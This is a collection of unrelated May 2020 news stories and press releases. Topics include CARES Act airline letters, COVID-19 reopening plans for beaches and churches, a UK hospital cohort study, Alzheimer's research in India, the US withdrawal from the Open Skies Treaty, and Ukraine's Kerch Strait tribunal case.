At a Senate Banking Committee hearing Tuesday, Sen. Elizabeth Warren, D-Mass., pressed Treasury Secretary Steven Mnuchin on whether his agency was doing enough to ensure companies that received money were keeping workers on the payroll.

In the letters, the senators noted that Delta "was reportedly the first airline to cut hours for employees after receiving assistance from the CARES Act. In the letter to JetBlue chief executive Robyn Hayes, the senators noted that since receiving Cares Act funding the airline has cut hours for mechanics, passenger service agents and ramp workers.

In both cases, the senators noted that company officials have said the "reductions in hours comply with the CARES Act."

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

They wrote: "This view is impossible to reconcile with the clear intent of the law."

The senators said that Delta and JetBlue should not accept any additional funds, "unless you are prepared to protect your workers' jobs, pay and benefits as intended by Congress in the CARES Act."

"Your federal financial assistance is conditioned on keeping your promises to workers," the letters concluded.
A senior Victorian policewoman used her position and uniform to help her take over six properties owned by strangers under laws dubbed squatters' rights.

Rosa Catherine Rossi, formerly a sergeant with Victoria Police, identified vacant properties and had locksmiths change the locks - without the property owners knowing - in an attempt to take control of the homes during a crime spree across 2016 and 2017.

Sergeant Rosa Rossi in 2016. Credit:Damjan Janevski

Rossi targeted three properties in Willaura, near Ararat, and three in Melbourne's suburbs and claimed them as her own under adverse possession laws, the County Court heard on Friday.

Adverse possession - colloquially dubbed squatters' rights - entitles someone to legally own a vacant property if they can prove they have exclusively occupied it for at least 15 years.




JOHANNESBURG, SOUTH AFRICA, May 22, 2020 - (ACN Newswire) - Are you ready for the new challenges & opportunities as power markets around the world evolve?Specially designed for the African electric power & energy industry, POWER WEEK AFRICA (14-18 September 2020 in Johannesburg, South Africa) is the 3rd annual international conference & summit delivering a unique experience for each day of the event. You are guaranteed 5 days of premium networking opportunities that are inclusive of a 2-day main conference, 5 supplementary workshops, multiple case studies from a wide array of perspectives, expert opinions, and unrivaled insights into the African electric power & energy market prospects.The conference promises valuable insights on a diverse range of topics that are critical to the African electric power & energy industry today - renewable energy, climate change & environment, energy transition, energy efficiency, funding, investment facilitation, energy access, policies & regulations, tariffs, capacity development, technology, solar, off-grid, public-private partnerships, energy storage, digitalization, affordability, energy mix, private sector participation and so much more.Global energy leaders who have confirmed to speak:- Abubakar Sani Sambo, Chairman, Ministerial Task Force on Power, Nigeria- Haliru Dikko, Commissioner, ECOWAS Regional Electricity Regulatory Authority- Oscar Amonoo-Neizer, Executive Secretary, Energy Commission, Ghana- Abubakar Malah Umar, Director, Energy Commission, Nigeria- Cyprian Nyakundi, Director, Energy & Petroleum Regulatory Authority, Kenya- Ibilola Amao, Governing Council Member, Energy Institute, United Kingdom- Greg Austin, Managing Director, Juwi Renewable Energies, South Africa- Geoffrey Mabea, Executive Secretary, Energy Regulators Association of East Africa- Ademola Adesina, CEO, Rensource Energy, Nigeria- William Price, CEO, Enel Green Power, South Africa- Ato Gyasi, Senior Director, Africa Finance Corporation, Nigeria- Wido Schnabel, Director, Canadian Solar- Chris Chijiutomi, Director, CDC Group, United Kingdom- Brian Dames, CEO, African Rainbow Energy & Power, South Africa- Simon Hodson, CEO, Gridworks, United Kingdom- Chris Flavin, Director, Gridworks, United Kingdom- Mikhail Nikomarov, CEO, Bushveld Energy, South Africa- Peter Pechtl, Managing Director, ENEXSA, Austria- Alexander Schonfeldt, Managing Director & COO, Enerox, Austria- Jose Maria Lopez, Director, MRC Consultants & Transaction Advisers, Spain- Aleem Tharani, Partner, Bowmans, Kenya- Dumisani Tembo, Partner, AB & David, Zambia- Kieran Whyte, Partner, Baker McKenzie, South Africa- Gabriel Kroes, Senior Energy Specialist, DNV GL, South Africa- James Sherwood, Principal, Rocky Mountain Institute, United States of America...and many moreThe POWER WEEK ASIA will feature 5 supplementary workshops and masterclasses addressing cutting edge topics with Real Examples and Case Studies, including Renewable Energy, Energy Regulation & Policies, Energy Storage, Power Project Finance and Power Contracts & Negotiation.Seize this opportunity to stay ahead of your competitors in an industry that is ever-changing -- POWER WEEK AFRICA is definitely for you!Email Weslyn Lee to register your attendance now. For more information, please log onto:www.power-week.com/africa.About Infocus International GroupThe organiser of POWER WEEK Conferences. Infocus International is a global business intelligence provider of strategic information and professional services for diverse business communities, designed to provide insights and to assist our clients on the global stage. The major knowledge-management companies strategically based in Singapore, independently researching and producing market-driven programmes across the region mainly in Asia Pacific, Middle East and Africa.Infocus International recognises clients' needs and responds with innovative and result oriented programmes. All products are founded on high value content in diverse subject areas, and the highest level of quality is ensured trough intensive and in-depth market research from local and international insights.Any queries, please contact:Weslyn LeeTel: +65 6325 0351 | Email: weslyn@power-week.comTo join the discussion:LinkedIn Group: https://www.linkedin.com/groups/6985809Twitter: @powerweeksummitOfficial Website: www.power-week.com/africaSource: Infocus International GroupCopyright 2020 ACN Newswire . All rights reserved.




Haiti - News : Zapping...





4 bandits killed by SWAT

On Thursday the 21st in Christ-Roi and in Delmas (Port-au-Prince), four armed bandits traveling on motorcycles were killed in an exchange of fire with a SWAT patrol.



208 people arrested

208 individuals were arrested during the various operations carried out by the PNH in the South from April 13 to May 19. They are accused, among other things, of armed robbery, rape, murder and attempted murder.



Back to school, scenarios under study

Different scenarios are being studied for resuming school activities as soon as the situation allows. However, the lack of sanitation facilities in schools increases the risk of disease transmission. Since only 45% of schools in Haiti have drinking water and only 30% of sanitary blocks. The inability to put in place adequate hygiene measures, in particular hand washing, remains a major challenge for the reopening of schools.



Haiti and Senegal by videoconference

"This Thursday morning, with Senegalese President Macky Sall, I touched on several important topics including the fight against the Covid-19, the situation of Haitian students in Senegal and the possibility of dynamic cooperation in the energy field," declared President Jovenel Moise.



"I am delighted with the meeting I had with my brother and friend President Jovenel Moise of Haiti. We talked about the response to Covid-19, energy and agriculture," declared for his part the President of Senegal Macky Sall.



Covid-19 : The US alongside Haiti

As the United States works with the Haitian government to address the Covid-19 pandemic through humanitarian assistance to the Haitian people, the latest Department of Defense assistance progral has resulted in the purchase of more 12,000 local masks, gloves, disinfectant and other essential medical supplies in Haiti. These purchases are intended for the Directorate of Civil Protection (DPC) and Saint-Luc Hospital, two institutions on the front line to combat the spread of Covid-19 in Haiti.



Donation of US $ 11,000 to the Baptist Mission Hospital in Fermathe

Fermathes Baptist Mission Hospital, which called for help last month, received a donation of US $ 11,000 from the private business sector on Wednesday to continue providing services to the public. This sum was collected on the initiative of the former deputy of the Croix-des-Bouquets, Jean Tolbert Alexis.



HL/ HaitiLibre


















Plans for this years Leaving Cert have been thrown into disarray after the countrys largest second-level teaching union told members not to begin marking students as it believes the legal protection currently being offered to teachers is unacceptable.

As schools received detailed instructions on how Leaving Cert students should be graded, the Association of Secondary Teachers, Ireland (ASTI) directed its members to not yet begin working on the process.

At the time of going to print last night, talks between the teaching union and the Department of Education were continuing.

The alternative arrangements brought in for this years Leaving Cert are unprecedented, and Education Minister Joe McHugh has previously acknowledged legal vulnerabilities in the system.

The Cabinet signed off on State-backed legal indemnity for teachers, principals, boards of management, and Education and Training Boards who are individually named in any civil proceedings that might arise from the marks a student receives.

According to the guidelines issued by the Department of Education, the indemnity is subject to certain conditions, and subject to cooperating with the State in defending legal cases.

The legal protections offered to teachers was welcomed by the Teachers Union of Ireland (TUI).

TUI president Seamus Lahart said the guidelines include clear legal indemnity for teachers and schools. This is of vital importance, he said.

However, the ASTI said the current indemnity could still see individual teachers pursued for costs. The union had engaged with the process of calculated grades to ensure that the model was rolled out as quickly as possible for students, the ASTI said in a statement.

As part of that process, we have sought to have full indemnity available for teachers while they undertake this work in good faith, said the ASTI statement.

Unfortunately, and upon legal advice, the indemnity that has been offered to teachers thus far falls short of what is required, and could potentially lead to personal liabilities for costs for second-level teachers.

"This position is unacceptable. We will continue to engage with the Department of Education and Skills to secure the necessary provisions. In the meantime, we are advising ASTI members not to undertake any work on the process until this issue is resolved.

The Department of Education has asked schools to have their end of the data submitted by the end of May, a tight deadline over which many have previously raised concerns. It is hoped that the timing of this years results will run as close as possible to that of previous years.

A spokesman for the Department of Education said that further clarification was being provided to the unions.

Mr McHugh recognises the importance of teachers carrying out the work in relation to calculated grades, said the spokesman, adding: Which is why he sought approval from Government to put a State indemnity scheme in place.

Detailed instructions issued to schools by the Department of Education yesterday evening outline how teachers and schools should mark this years Leaving Cert due to the cancelled written exams this summer.

The process of calculated grades is set to take place in four steps. This includes a teacher issuing an estimated grade and class ranking to each student. These marks are then scrutinised by another teacher in the same subject, before they are submitted to a schools principal. Once a principal is satisfied that due process has been followed, the data is submitted to the Department of Education.

Teachers are being asked to remain alert to possible unconscious bias that might affect their estimates. The official guide warns that research shows estimates can be affected by a teachers experience or perception of a students behaviour, or by their knowledge about a students socioeconomic or family background.
Ben Rimalower, 44, has been vacationing on New York's Fire Island since 2005. The island's Pines section, a popular beach destination for gay men dating back to the 1920s, has been a reliably safe and sunshine-filled locale for Rimalower and his friends, primarily other gay men, to spend the summer.

I first fell in love with Fire Island from afar while in college in California during the early 90s, he told NBC News. It seemed like Shangri-La to me.

Rimalower said even on the queerest blocks of New York City, where he lives, hes uncomfortable kissing or holding hands with another man, but on Fire Island, Im free.

Ben Rimalower, center, with friends in Fire Island Pines the summer of 2019. (Courtesy of Ben Rimalower)

This year, however, his annual trip to Fire Island Pines is shrouded in uncertainty.

If we can go at all, it will be with lots of changes, he lamented. I hope we can be safe on the beach, because thats my favorite part.

This is all so new and complicated, he said, adding theres still a chance he and his friends will cancel their trip. We havent even broached the topic of house rules yet, but I imagine at least at first we wont be having any hookups or friends over.

With the typically busy summer season kicking off, LGBTQ beach destinations in the Northeast  a region particularly hard-hit by the global coronavirus pandemic  are bracing for a new normal, and some of their loyal patrons are apprehensive.

New Yorks Fire Island

Fire Island is a narrow, car-free, barrier island just south of Long Island and not far from the ritzy beaches of the Hamptons. While Fire Island boasts 15 communities, two of them have long been popular with LGBTQ beachgoers, with the Pines historically catering to gay men and Cherry Grove to lesbians.

The Pines only has one hotel, which is currently closed, so nearly all visitors rent houses during their stay. According to a community newsletter published May 14, brokers shared that vacation renters have generally made their last payments and are planning to come to the Pines this summer, even if bars and restaurants are not open.

Story continues

Image: Fire Island Pines (Julia Weeks / AP file)

P.J. McAteer, a co-owner of the Outpost Pines, which make up the majority of the Fire Island Pines commercial businesses, opened two of his restaurants May 15 for to-go service, and he plans to continue opening additional venues and expanding services as Suffolk County and Gov. Andrew Cuomo allow.

At his businesses, there will now be temperature and hand sanitizing stations at the entrances, a 50 percent capacity maximum and a mandate that employees wear masks and other personal protective equipment.

McAteer, who typically employs about 40 people during the summer months  from event photographers to drag queens  said his employees are eager to get to work.

All of my staff and entertainers are chomping at the bit to come back, he said. They all cannot wait to be back here and bring back the life that is Fire Island Pines.

"The gay community is very creative and inventive, especially in a crisis ... We survived the HIV epidemic and made a comeback. I think the same thing about this. Those same creative energies will be out this summer."

And when beachgoers return to the island for the summer, they wont be alone. Jay Pagano, president of the Fire Island Pines Property Owners' Association, said occupancy has been higher than usual over the past few months, because many homeowners opted to quarantine on the island starting in mid-March.

A large number of residents chose to spend the pandemic in the Pines, he said in early May. They thought it would be a safer or nicer venue to be locked down in. I'm guessing that's probably 200 to 250 homes are occupied full-time right now, and that's unusual this early.

And while there hasn't been much to do over the past two months, theres always the beach.

The beaches are open, and they will remain open, Pagano explained. We have a wonderfully wide beach this summer. We are going to encourage the residents to use it, but the requirements for social distancing and masks will be implemented on the beach as in the community, and the police will be enforcing those requirements.

Image: Cherry Grove (Seth Wenig / AP file)

In neighboring Cherry Grove, the beach is also open to sunbathers, swimmers and strollers.

Its as safe here as it is anywhere, Diane Romano,president of the Cherry Grove Community Association, said, adding that the people in Cherry Grove have been really great at implementing social distancing.

And for those thinking about heading to Fire Islands Cherry Grove section, Romano said, We want to make sure you're someone that will follow guidelines and work with the community to make sure you protect yourself and others.

In order to ensure everyones safety, Romano said local law enforcement, starting in mid-June, will patrol the beach to make sure everyone is following proper social distancing guidelines, which include limiting large groups from congregating.

Fire Island regulars, such as Rimalower and Zach James, who reserved a house for a week in July, are preparing for a different Fire Island experience than theyre used to, which typically includes large beach dances, drag shows and house parties.

Its going to be an isolated house trip without the fuss, which will be just fine, James said. We will change what we do out there to be in line with the world we live in.

Two vacationers wear masks as they visit the Cantine in Fire Island Pines. (Courtesy of Alexander Kacala)

Arguably the most popular event in the Pines  the annual Pines Party dance and fundraiser, which is typically held the last weekend in July and draws an estimated 3,000 attendees  will not go on as planned this year. However, Guy Smith, the events creative director, said his group is hard at planning an alternative to bring together our community and continue the Pines Party magic. He said this years event will include live performances streaming from the Fire Island Pines that will broaden the reach of our event and raise much-needed funds for our 2020 beneficiary, Stonewall Community Foundation.

As for ferry service  the only way in and out of Fire Island unless you own your own boat  the schedule is more limited than recent years due to a decline in ridership amid the pandemic. The boats will be running at a maximum of 50 percent capacity, and all passengers must wear face coverings.

Fire Island has so much beauty, and there's so many things out here to do, McAteer said, looking ahead to the next few months. Whatever the new normal is, it's going to be OK; we're going to figure it out.

Summer 2020 is not canceled in my book, he added. Summer 2020 is just going to be done differently.

New Jerseys Asbury Park

Asbury Park, a 1.6-square-mile city located along the Jersey Shore, has been attracting an increasing number of LGBTQ homeowners and beachgoers since the 50s, when New Yorkers started purchasing and restoring Victorian homes, leading to the citys rejuvenation.

While the citys beach and boardwalk had been closed due to the pandemic, they recently opened ahead of the Memorial Day weekend. In order to ensure everyones safety, officials have put a number of new measures in place.

We know our residents are looking forward to summer, and Asbury Park has always welcomed visitors  we know how much they help our economy, Mayor John Moor said in a statement. That said, this is not a normal summer season. We are in the middle of a pandemic, and we need to be smart. We are going to have to limit numbers, practice social distancing, wear face coverings and masks, and make the experience as contactless as possible for the safety of beach visitors and our staff.

Image: Asbury Park (Kena Betancur / Getty Images file)

The citys measures, which can be found on its website, will include the limited sale of beach passes, which are required for beach entry; one-way travel in each direction on the boardwalk; and a face mask requirement except when sunbathing or swimming.

The next few weekends are going to be our tests to figure out how to do this, because all of this is so new, and we are learning as we go, Deputy Mayor Amy Quinn said. If people do not respect these rules, we will make changes.

Michael Cook, who has lived in Asbury Park since 2005, said hes preparing for a Jersey Shore summer with a twist.

We all will learn a slightly new way of living this summer, he said.

As for the shops and restaurants that line the citys downtown area  including the popular gay venue Paradise  they remain closed.

Right now, the music isnt playing, and the cocktails are not flowing, but this is simply a moment, the last post on Paradises Instagram reads. We will all dance together again.

Delawares Rehoboth Beach

Rehoboth Beach along Delawares coast has for decades been a popular beach destination with LGBTQ travelers from Philadelphia down to Washington, D.C. The resort town boasts over 200 gay-owned businesses, according to GayCities, and its Poodle Beach section is particularly popular with queer beachgoers.

While Delaware has not been as hard hit by the coronavirus as New York and New Jersey, Rehoboth Beach Mayor Paul Kuhns said the town is taking precautions and heeding the governors guidance on reopening.

About 80 percent of the homes in Rehoboth are owned by people from out of town. What we have seen is a lot of those second-home owners have come to Rehoboth in order to get away from where they were, but they have been very positively practicing social distancing, Kuhns said earlier this month. It has been very manageable, but as we get more crowds coming in, it will be a difficult situation.

Image: Rehoboth Beach (Chuck Snyder / AP file)

As of 5 p.m. Friday, beaches along the Delaware coast will be open for exercising, sunbathing and swimming. Guidelines, which can be found on the states website, require social distancing among those from different households and encourage face coverings. There is a catch, though: Those who reside out-of-state will have to maintain a 14-day quarantine upon entering Delaware in order to enjoy what its beaches have to offer.

Kuhns, however, said, We will not have police at the entrances of Rehoboth checking your ID and making sure you live in town or not.

As for the town's shops and restaurants, many will be open with restrictions, with most offering only curbside pick-up.

Massachusetts Provincetown

As the artists colony in Provincetown began to thrive in the early 20th century, so did its gay community. By the 1970s, the bohemian village at the tip of Cape Cod became known for its cabaret and drag scenes. Today, Provincetown boasts around 300 businesses that are part of the Provincetown Business Guild, an organization that focuses on drawing LGBTQ visitors to the destination.

We are spending a lot of time talking about what the P-Town experience is going to look like this summer and trying to reimagine the Provincetown experience, because we believe there will still be people that come here, Bob Sanborn, executive director of the Provincetown Business Guild, said. We have a lot of these large-scale events and theme weeks that wont happen as they have historically happened. With that said, we aren't expecting the up-swells and crowds that traditionally happen here week to week.

Image: Provincetown (John Tlumacki / Boston Globe via Getty Images file)

During the typical summer peak season, Provincetown has a population of about 30,000 to 50,000, with peak holidays and events seeing nearly 100,000.

Eighty percent of the homes are second homeowner owned, so those people will still come with their house guests, Sanborn speculated. And we still believe there will be some tourists. So its going to be a slower but steady summer.

Both of the regions most well-known beaches  historically gay beach Herring Cove and Race Point  are part of the Cape Cod National Seashore and have not been closed amid the pandemic, though their operations have been limited. The areas smaller beaches, those around the harbor, have been closed, but will open on Memorial Day. Social distancing will be expected on all beaches: Household clusters will be allowed to gather, but larger groups, especially with 10 people or more, will be prohibited.

Related: There are thought to be just 16 lesbian bars left across the country, and the global coronavirus pandemic could reduce the number even further.

This summer will still be uniquely Provincetown, Sanborn explained. It will be a special summer. Many people are saying this will be like Old Provincetown, before the big theme weeks became such a part of our culture. People used to flock here years ago for the sun and the fun and the joie de vivre and the simple, colorful life. We believe it will be a summer like that.

And, just like in years past, Sanborn and other community leaders acknowledged the resiliency of the LGBTQ community when unforeseen threats arise.

The gay community is very creative and inventive, especially in a crisis, Pagano said. We survived the HIV epidemic and made a comeback. I think the same thing about this. Those same creative energies will be out this summer.

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STATEN ISLAND, N.Y. -- When Catholic Mass returns, church is going to look a lot different than it has in the past.

The Archdiocese of New York announced its new Faith Forward plan to start reopening the 288 parishes in the greater New York City metropolitan area on Thursday.

The plan addresses reopening in five stages, starting with private prayer and confession and ending with Sunday Mass.

However, Cardinal Timothy Dolan, the archbishop of New York, doesnt see Mass happening anytime soon. During a press conference, he said six weeks would be a dream, but it is expected to be longer before Sunday Mass returns.

As phases of the reopening begin, the Archdiocese is putting in new preventative measures to stop the spread of coronavirus (COVID-19) in accordance with Centers for Disease Control and Prevention (CDC) guidelines.

1. NEW CLEANING PROCEDURES

The Archdiocese announced that churches will be regularly sanitized and disinfected following CDC guidelines.

Specifically, commonly touched surfaces, such as pews, door handles and books will be regularly cleaned after every liturgy. Restrooms will be cleaned between Masses.

To prevent the spread further, holy water and baptismal fonts will be emptied.

2. MASKS AND HAND SANITIZER REQUIRED

All parishioners over 2 years old will be expected to wear masks to service. Although churchgoers will be encouraged to wear their own masks, churches will be required to have masks on hand to give out to anyone who needs it.

Parishes should also have hand sanitizer dispensaries at church entrances.

Although masks and hand sanitizer are required, gloves are not recommended. Communion will not be distributed with gloves by ministers or given to parishioners wearing gloves.

3. LIMITED ATTENDANCE

Attendance at each Mass will be limited to 25% of a churchs occupancy permit.

Different parishes can establish if attendance will be on a first-come, first-served policy or allocated by another system.

In the event that the church is full, other church center facilities can be used for additional Masses. Parishes will also continue live video display of services to alleviate overflow in attendance.

Using their discretion, additional Mass times may be offered by parish pastors.

Signage will also be placed on entrance doors instructing that anyone with COVID-19 symptoms should not enter the church.

4. COMMUNION WILL BE LIMITED TO THE HOST

The cardinal announced that communion distribution will be separate from Mass in order to maintain social distancing and sanitary measures.

Communion will only be in one form, the host. The chalice will not be shared with the congregation.

Ministers will be required to use the sanitizer before communion, and if they believe they have touched a parishioners hand or mouth they should pause to use hand sanitizer again.

5. NEW SEATING ARRANGEMENTS

Parishioners are expected to sit six feet apart. There will be different protocols for singles, couples, families with one child, and families with more than one child.

Parish safety committees and ushers will be trained to receive parishioners and escort them to suitable seating arrangement. Parishes may also tape or mark pews to indicate seating placement for individuals.

6. NO PHYSICAL CONTACT

During the Sign of Peace, no handshakes or other physical contact will be permitted.

7. NOTHING WILL BE DISTRIBUTED TO PARISHIONERS

Paper parish bulletins and news will not be distributed to parishioners. Rather, this information will be posted to the parish website or emailed directly to parishioners.

Collection baskets will also not be passed from person to person. Ushers may use baskets with long handles or large baskets for donations may be placed at church exits.

Signage and announcements can encourage the use of WeShare, an online service for church donations.

7. ALL NON-ESSENTIAL GATHERINGS WILL BE SUSPENDED

Non-essential gatherings, including Childrens Liturgy of the Word and post-Mass social gatherings and refreshments, will continue to be suspended.

There will also be no greeting of parishioners after Mass.

8. DRIVE-IN MASS COULD BE THE NEW NORMAL

In its guidelines, the Archdiocese said drive-in Mass is a real possibility.

In this instance, Mass should be celebrated in a location where parishioners can remain in their cars and still see the service. Locations include the front steps of the church or parking lot.

Communion will not be distributed from car to car at a drive-in Mass. Rather, it should be distributed in a central location.

** CLICK HERE FOR FULL COVERAGE OF CORONAVIRUS IN NEW YORK **
UofG contributes to largest cohort study to date on characterisation of COVID-19 hospital patients

The University of Glasgow is one of six universities to have contributed to the largest cohort study to date on the detailed characterisation of hospital COVID-19 patients in the world.

The new study -- published today in The BMJ and led by the University of Liverpool, University of Edinburgh and Imperial College London -- revealed age, male sex, obesity, and underlying illness have emerged as risk factors for severe COVID-19 or death in the UK.

The risk of death increases in the over 50s, as does being male, obese, or having underlying heart, lung, liver and kidney disease.

As the largest prospective observational study reported worldwide so far, it provides a comprehensive picture of the characteristics of patients hospitalised in the UK with COVID-19 and their outcomes.

Because the study is ongoing, it has now recruited over 43,000 patients. The Universitys Dr Antonia Ho, Clinical Senior Lecturer/Consultant in Infectious Diseases at the UofG-MRC Centre for Virus Research (CVR), coordinated Scottish patient recruitment on behalf of the study, recruiting around a third of all consented patients in the UK. The CVR is the receiving biorespository for Scotland.

The findings will help health professionals learn more about how the illness progresses and enable us to compare the UK with other countries, say the researchers.

Studies in China have reported risk factors associated with severe COVID-19, but studies describing the features and outcomes of patients with severe COVID-19 who have been admitted to hospital in Europe are lacking.

To address this knowledge gap, a team of UK researchers analysed data from 20,133 patients with COVID-19 admitted to 208 acute care hospitals in England, Wales, and Scotland between 6 February and 19 April 2020.

This represents around a third of all patients admitted to hospital with COVID-19 in the UK. The average age of patients in the study was 73 years, and more men (12,068; 60%) were admitted to hospital than women (8,065; 40%).

Besides increasing age, and underlying heart, lung, liver and kidney disease  factors already known to cause poor outcomes  the researchers found that obesity and gender were key factors associated with the need for higher levels of care and higher risk of death in hospital.

At the time of publication, just over a quarter (26%) of all COVID-19 patients in hospital had died, 54% were discharged alive, and a third (34%) remained in hospital. Outcomes were poorer for those requiring mechanical ventilation: 37% had died, 17% had been discharged alive, and 46% remained in hospital.

The pattern of disease we describe broadly reflects the pattern reported globally, say the researchers. However, obesity is a major additional risk factor that was not highlighted in data from China. They suspect that reduced lung function or inflammation associated with obesity may play a role.

This is an observational study, so cannot establish cause, and the researchers point to some limitations that may have affected their results. Nevertheless, they say this is the largest study of its kind outside of China and clearly shows that severe covid-19 leads to a prolonged hospital stay and a high mortality rate.

Dr Antonia Ho said: The detailed characterisation of such a large number of patients admitted to hospital with COVID-19 takes us a step closer to the better understanding of this new disease.

"It is a huge collaborative effort, and enormous thanks must also go to the patients and carers who participated in the study.

Prof Malcolm Semple, a study lead, added: Our study identifies sectors of the population that are at greatest risk of a poor outcome, and shows the importance of forward planning and investment in preparedness studies.

These results have already been shared with the UK Government and World Health Organisation, and are being compared with data from other countries around the world.

At the outset of the COVID-19 pandemic, it was natural to focus first on the people with severe disease who might need potentially scarce resources in hospital and intensive care, write US researchers in a linked editorial.

Cohort studies of such patients are important, they say, and this study is a testament to good planning and preparation before, and implementation of data collection during a pandemic.

They add that if we are going to be managing COVID-19 for the next several years, we need to understand and optimize care before, during, and beyond the hospital.

The study, Features of 20 133 UK patients in hospital with covid-19 using the ISARIC WHO Clinical Characterisation Protocol: prospective observational cohort study is published in The BMJ. The study is funded by the National Institute for Health Research (NIHR), Medical Research Council, Wellcome Trust, Department for International Development, Bill and Melinda Gates Foundation, Liverpool Experimental Cancer Medicine Centre, NIHR Health Protection Unit in Emerging and Zoonotic Infections at University of Liverpool with Public Health England.

Enquiries: ali.howard@glasgow.ac.uk or elizabeth.mcmeekin@glasgow.ac.uk / 0141 330 6557 or 0141 330 4831
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The Eggshell Membrane Powder Market research report provides the latest industry data, growth, key segments and future trends on the basis of the detailed study. Moreover, this market report also allowing you to identify the opportunity and growth rate of the leading segment, revenue growth and profitability.

The entire eggshell membrane powder market has been sub-categorized into nature and application. The report provides an analysis of these subsets with respect to the geographical segmentation. This research study will keep marketer informed and helps to identify the target demographics for a product or service.

Request a FREE Sample Copy of Global Eggshell Membrane Powder Market Report with Full TOC At: https://www.valuemarketresearch.com/contact/eggshell-membrane-powder-market/download-sample

By Nature

 Organic

 Conventional

By Application

 Nutraceutical

 Dermatological

 Cosmetic

 Food and Beverage

 Others

The research report also covers the comprehensive profiles of the key players in the market and an in-depth view of the competitive landscape worldwide. The major players in the eggshell membrane powder market include KnuGroup, Mitushi Biopharma, Eggbrane, Kewpie Corporation , Biova, LLC , Microcore Research Laboratories India Pvt. Ltd., Eggshell Membrane Technologies, LLC, Eggnovo SL and Ecovatec Solutions Inc.. This section includes a holistic view of the competitive landscape that includes various strategic developments such as key mergers & acquisitions, future capacities, partnerships, financial overviews, collaborations, new product developments, new product launches, and other developments.

This section covers regional segmentation which accentuates on current and future demand for eggshell membrane powder market across North America, Europe, Asia-Pacific, Latin America, and Middle East & Africa. Further, the report focuses on demand for individual application segment across all the prominent regions.

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They found that external electric/magnetic field modulates the structure of these peptide molecules, thereby preventing aggregation.

Researchers at Indian Institute of Technology Guwahati has worked on out-of-the-box ideas that can help prevent or reduce short-term memory losses associated with Alzheimers disease.

The research team headed by Prof. Vibin Ramakrishnan, Professor, Department of Biosciences & Bioengineering, IIT Guwahati, and Prof. Harshal Nemade, Professor, Department of Electronics and Electrical Engineering, IIT Guwahati, studies the neurochemical principles of Alzheimers, and explore new ways to prevent accumulation of neurotoxic molecules in the brain, that are associated with short-term memory loss due to Alzheimers disease.

The IIT Guwahati team reports interesting methods such as application of low-voltage electric field, and the use of trojan peptides to arrest aggregation of neurotoxic molecules in the brain. The scientists are assisted by research scholars Dr. Gaurav Pandey and Mr. Jahnu Saikia in their work, and the results of their studies have been published in reputed journals such as ACS Chemical Neuroscience, RSC Advances of Royal Society of Chemistry, BBA and Neuropeptides.

The development of a cure for Alzheimers disease is important especially for India, which has the third highest number of Alzheimers patients in the world, after China and US, with more than four million people falling prey to the memory loss associated with it. While current treatments only alleviate some of the symptoms of the disease, there is no disruptive therapeutic approach yet that can treat the underlying causes of Alzheimers.

Approximately hundred potential drugs for treatment of Alzheimers disease have failed between 1998 and 2011, which shows the gravity of the problem, says Dr. Ramakrishnan, who participates in worldwide efforts at finding cures for the disease.

A defining hallmark of Alzheimers is the accumulation of Amyloid beta peptides in the brain. Dr. Ramakrishnan and Dr. Nemade seek methods to reduce the accumulation of these peptides, in order to arrest the progression of Alzeimers.

In 2019, the IIT Guwahati scientists found that application of a low-voltage, safe electrical field can reduce the formation and accumulation of toxic neurodegenerative molecules that cause short-term memory loss in Alzheimers disease. They found that external electric/magnetic field modulates the structure of these peptide molecules, thereby preventing aggregation.

Upon exposure to electric field, we could retard the degeneration of nerve cells to an extent of 17  35 %. Objectively, this would translate to about 10 years delay in the onset of the disease, says Dr. Ramakrishnan.

Working further in this area, the scientists explored the possibility of using Trojan peptides to arrest aggregation of these neurotoxic molecules. The idea of using Trojan peptide comes from mythological Trojan Horse used as subterfuge by the Greeks in the battle of Troy. The researchers have designed Trojan peptides by adopting a similar approach of deceit to impede the aggregation of the amyloid peptide, arrest the formation of toxic fibrillar assemblies, and reduce poisoning of nerve cells that leads to memory loss.

Our research has provided a different path that may extend the onset of the Alzheimers disease. However, it would take testing in animal models and clinical trials before bringing in such new therapeutic approaches into human treatment says project coordinators, Dr. Ramakrishnan and Dr. Nemade.
May 21, 2020

Release

DOD Statement on Open Skies Treaty Withdrawal

Tomorrow the United States will formally submit its notification of its decision to withdraw from the Open Skies Treaty. After careful consideration, including input from Allies and key partners, it has become abundantly clear that it is no longer in the United States' best interest to remain a party to this Treaty when Russia does not uphold its commitments. U.S. obligations under the Treaty will effectively end in six months.

The Open Skies Treaty was designed decades ago to increase transparency, cooperation, and mutual understanding. Instead, Russia has increasingly used the Treaty to support propaganda narratives in an attempt to justify Russian aggression against its neighbors and may use it for military targeting against the United States and our Allies.

Russia has also continuously violated its obligations under the Treaty, despite a host of U.S. and Allied efforts over the past several years. Since 2017, the United States has declared Russia in violation of the Treaty for limiting flight distances over the Kaliningrad Oblast to 500 kilometers (km) and for denying flights within 10 km of portions of the Georgian-Russian border. Most recently, in September 2019, Russia violated the Treaty again by denying a flight over a major military exercise, preventing the exact transparency the Treaty is meant to provide.

We will not allow Russia's repeated violations to undermine America's security and our interests. We remain committed to effective, verifiable, and enforceable arms control policies that advance U.S., Allied, and partner security, and we will continue to work together to achieve those ends. The United States has been in close communication with our Allies and partners regarding our review of the Treaty and we will explore options to provide additional imagery products to Allies to mitigate any gaps that may result from this withdrawal. In this era of Great Power Competition, we will strive to enter in to agreements that benefit all sides and that include parties who comply responsibly with their obligations.

https://www.defense.gov/Newsroom/Releases/Release/Article/2195239/

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The official says Ukraine wants justice rather than revenge.

Ukrainian Foreign Minister Dmytro Kuleba says the memorial of Ukraine with evidence related to the seizure of Ukrainian sailors and vessels by Russian security forces in the Kerch Strait in November 2018 will be sent to the United Nations Convention on the Law of the Sea (UNCLOS) Arbitral tribunal in The Hague.

"As the tribunal procedures foresee, we are transferring [documents of] our comprehensive legal position to the Arbitral tribunal," Kuleba said during an online briefing on May 22, according to an UNIAN correspondent. "Facts, photos, evidence, and [Ukraine's] arguments are presented here in a consistent, qualitative manner."

Read alsoUkrainian Navy boats returned by Russia entering Ukraine's Ochakiv port (Video)

"We will not stop until the Russian Federation is held accountable for everything that it has done against Ukraine. One of the important aspects of this process is our case at the International Tribunal for the Law of the Sea about the dramatic situation in November 2018 when three Ukrainian ships, 24 crew members were carrying out a peaceful, planned transfer from the base in Odesa to the base in the Sea of Azov," he said.

Kuleba recalled that the Ukrainian sailors and their ships had been captured by Russia as a result of armed aggression in the Kerch Strait.

